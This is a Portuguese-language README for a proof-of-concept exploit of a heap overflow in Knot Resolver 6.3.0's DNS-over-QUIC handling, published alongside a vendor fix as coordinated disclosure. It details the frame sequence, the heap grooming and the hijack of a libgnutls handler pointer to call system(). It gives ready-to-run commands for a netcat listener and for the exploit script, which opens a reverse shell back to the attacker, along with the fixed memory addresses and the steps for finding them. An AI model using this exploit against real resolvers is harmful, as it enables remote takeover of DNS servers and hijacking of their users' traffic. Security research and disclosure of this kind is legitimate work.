
CVE-2026-66374: Knot Resolver 6.3.0 estouro de heap no DNS-over-QUIC (RCE)
Prova de conceito para um estouro de buffer de heap acionável remotamente no caminho de recepção DNS-over-QUIC (DoQ) do Knot Resolver, que resulta em execução remota de código como o usuário do serviço knot-resolver.
kresd (daemon/quic_conn.c)6.3.0-cznic.1~bookworm)knot-resolver; no mínimo, falha remota / DoSPublicado juntamente com a correção do fornecedor e o aviso como parte de divulgação coordenada. Apenas para pesquisa de segurança autorizada e validação defensiva.
Exploração remota completa — o exploit é disparado da máquina atacante via DNS-over-QUIC, e um shell reverso knot-resolver é capturado no (clique para o vídeo em resolução total):
ncKnot Resolver é um resolvedor recursivo de DNS open-source com cache desenvolvido pela CZ.NIC (o registrador .cz). Ele resolve consultas DNS em nome de clientes — dispositivos de usuário final, frotas de resolvedores de ISPs e serviços de resolvedor público — e armazena as respostas em cache. Suporta transportes criptografados modernos, incluindo DNS-over-TLS (DoT), DNS-over-HTTPS (DoH) e DNS-over-QUIC (DoQ), e oferece validação DNSSEC e cache agressivo.
É popular em ambientes de grandes ISPs, onde seu rico conjunto de funcionalidades (política programável, DNSSEC, transportes criptografados, cache refinado) e alto desempenho o tornam adequado para atender bases de assinantes muito grandes.
O daemon (kresd) é um serviço de rede de longa duração que fica diretamente exposto a entradas não confiáveis de qualquer host capaz de alcançar sua porta de escuta. Isso torna um bug de corrupção de memória em seu caminho de recepção de pacotes — como o explorado aqui — uma superfície de ataque remotamente acessível e não autenticada: comprometer o resolvedor permite que um atacante forje respostas DNS para todos os clientes downstream, ou seja, redirecione ou intercepte efetivamente todo o tráfego deles.
kr_recv_stream_data_cb() remonta quadros STREAM do DoQ em um buffer de entrada por conexão (pers_inbuf). Ela aumenta esse buffer com
pers_inbuf.size += datalen; /* bug: acumula, nunca redefine a linha de base */
em vez de definir o tamanho para o novo total. Através de vários quadros, o size rastreado se desvia acima da alocação real. Um quadro final cujo datalen cabe sob o size inflado portanto ignora a realocação, mas o memcpy() subsequente é limitado por esse tamanho inflado — então ele escreve além do final do objeto. O jemalloc mantém o objeto fixado em sua classe de tamanho real, então os bytes excedentes caem no slot adjacente da laje.
Uma sequência de seis quadros em um fluxo percorre pers_inbuf através de cinco classes de tamanho do jemalloc para a classe de 6144 bytes e então transborda para o slot vizinho:
F1 datalen=8 alocação inicial de 1200 bytes
F2 datalen=1440 realloc -> classe 1536
F3 datalen=1440 realloc -> classe 3072
F4 datalen=1440 realloc -> classe 5120
F5 datalen=1440 realloc -> classe 6144
F6 datalen=1200, FIN sem realloc -> gravação OOB de 814 bytes no slot+1
O grooming leve de conexões (abrir várias conexões DoQ, liberar metade pouco antes de disparar) organiza para que slot+1 contenha um manipulador de limpeza do libgnutls. O estouro sobrescreve o ponteiro de despacho desse manipulador, seu argumento e a flag que controla o despacho. Durante o encerramento da conexão, o libgnutls executa
call *0x110(%rbx) ; %rbx = slot+1 controlado pelo atacante
dando controle do ponteiro de instrução (RIP) e do primeiro argumento (RDI). O PoC roteia isso para system() com um ponteiro para uma string de comando fornecida pelo atacante escrita no mesmo slot.
Este PoC tem como alvo um host com ASLR desabilitado (kernel.randomize_va_space = 0). Com a randomização desligada, os endereços do heap e da libc são determinísticos, então os dois endereços que o exploit precisa (slot+1 e system()) são constantes para uma determinada compilação. Derrotar o ASLR é um problema separado e está intencionalmente fora do escopo aqui — o objetivo é demonstrar a primitiva corrupção-de-memória → fluxo-de-controle → execução-de-código em isolamento.
Como esses endereços são determinísticos, nenhum vazamento de informação é necessário: o exploit é executado completamente pela rede a partir de um host remoto. Os endereços são recuperados uma vez com a etapa probe (abaixo) em qualquer compilação idêntica e então fixados; na compilação de referência eles são slot+1 = 0x7ffff66c5000 e system = 0x7ffff746a490.
| Arquivo | Finalidade |
|---|---|
poc.py | O exploit. Modos: probe, rip, exec. |
probe.gdb | Oráculo gdb que lê o pers_inbuf determinístico. |
README.md | Este documento. |
Requer Python 3 com aioquic e netcat no lado do atacante, e gdb no alvo apenas para a etapa única probe.
Esta é a demonstração principal: o exploit é disparado da máquina atacante, pela rede, com os dois endereços determinísticos fixados. Nada é lido do alvo — sem /proc, sem gdb, sem logs.
# Na máquina atacante: ouça pelo shell
$ nc -lvnp 4444 # Linux; no macOS/BSD: nc -l 4444
# Em outro terminal: dispare o exploit na porta DoQ do alvo
$ python3 poc.py exec \
--host <alvo> --port 8853 \
--slot1 0x7ffff66c5000 \
--system 0x7ffff746a490 \
--lhost <ip-atacante> --lport 4444 \
--rounds 250
Cada rodada que acerta chama system() no alvo com um comando de shell reverso; o shell se conecta de volta a --lhost:--lport, onde nc o recebe. Quando chegar, digite na sessão do netcat para controlar o shell:
knot-resolver@doqlab:/run/knot-resolver$ id; hostname; uname -srm
uid=104(knot-resolver) gid=109(knot-resolver) groups=109(knot-resolver)
doqlab
Linux 6.1.0-50-cloud-amd64 x86_64
Os valores --slot1 / --system são recuperados uma vez com a etapa probe em qualquer compilação idêntica; são constantes enquanto o ASLR estiver desligado.
Os valores --slot1 / --system acima são constantes enquanto o ASLR estiver desligado; recupere-os uma vez em qualquer compilação idêntica. Pré-condição:
$ sudo sysctl -w kernel.randomize_va_space=0
# slot+1 : oráculo gdb lê o pers_inbuf determinístico, +0x1800
$ sudo gdb -batch -p "$(pidof /usr/sbin/kresd)" -x probe.gdb &
$ sudo ./venv/bin/python3 poc.py probe
$ grep slot1 /tmp/pers_inbuf_oracle.txt
CONSUME: buf=0x7ffff66c3800 slot1=0x7ffff66c5000
# system : base da libc (ASLR desligado) + deslocamento system()
$ addr=$(grep -m1 libc.so /proc/$(pidof /usr/sbin/kresd)/maps | cut -d- -f1)
$ printf 'system = 0x%x\n' $((0x$addr + 0x$(readelf --dyn-syms /lib/x86_64-linux-gnu/libc.so.6 | awk '$8 ~ /^system@/ {print $2; exit}')))
poc.py rip --rounds 8 adicionalmente demonstra controle bruto de RIP/RDI (o alvo trava no ponteiro de instrução escolhido pelo atacante).
Medido na compilação de referência (Debian 12, 6.3.0-cznic.1, ASLR desligado):
| Primitiva | Taxa |
|---|---|
Controle RIP/RDI (rip, falha) | ~7/8 por rodada |
Execução completa system() (exec) | ~1 em 30–50 rodadas |
A lacuna é inerente: system() é executado em um heap que o estouro acabou de corromper, então a maioria dos despachos trava o kresd antes que o filho seja gerado. O daemon é reiniciado pelo seu supervisor após cada falha, o endereço é determinístico com ASLR desligado e cada tentativa é independente — então o loop exec simplesmente tenta novamente até que uma acerte (na execução remota acima, um shell chegou na rodada 5). Uma tentativa fracassada é uma falha transitória do worker (DoS). Os parâmetros de grooming --groom 16 --close 8 --qpc 4 são os padrões empiricamente melhores; fechamento mais pesado (por exemplo, --close 16 com --groom 32) colapsa a taxa de acerto.
OS Debian 12 (bookworm), glibc 2.36
kresd knot-resolver6 6.3.0-cznic.1~bookworm
libgnutls 3.7.9-2+deb12u7
config Listener DoQ em 127.0.0.1@8853
A geometria das classes de tamanho (seis quadros, payloads de 1200/1440 bytes) e o deslocamento de despacho do libgnutls são específicos desta compilação; outras compilações precisam que os tamanhos de quadro e deslocamentos sejam rederivados.
| Data | Evento |
|---|---|
| 2026-06-08 | Vulnerabilidade reportada ao fornecedor (CZ.NIC). |
| 2026-07-22 | Correção lançada no Knot Resolver 6.4.1, com aviso do fornecedor. |
| 2026-07-23 | Este PoC e artigo publicados. |
Reportado ao fornecedor em 2026-06-08 e lançado em coordenação com a correção oficial (6.4.1, 2026-07-22). Fornecido para testes autorizados, validação defensiva e pesquisa. Não execute contra sistemas que você não possui ou para os quais não tenha autorização explícita para testar.
SPDX-License-Identifier: MIT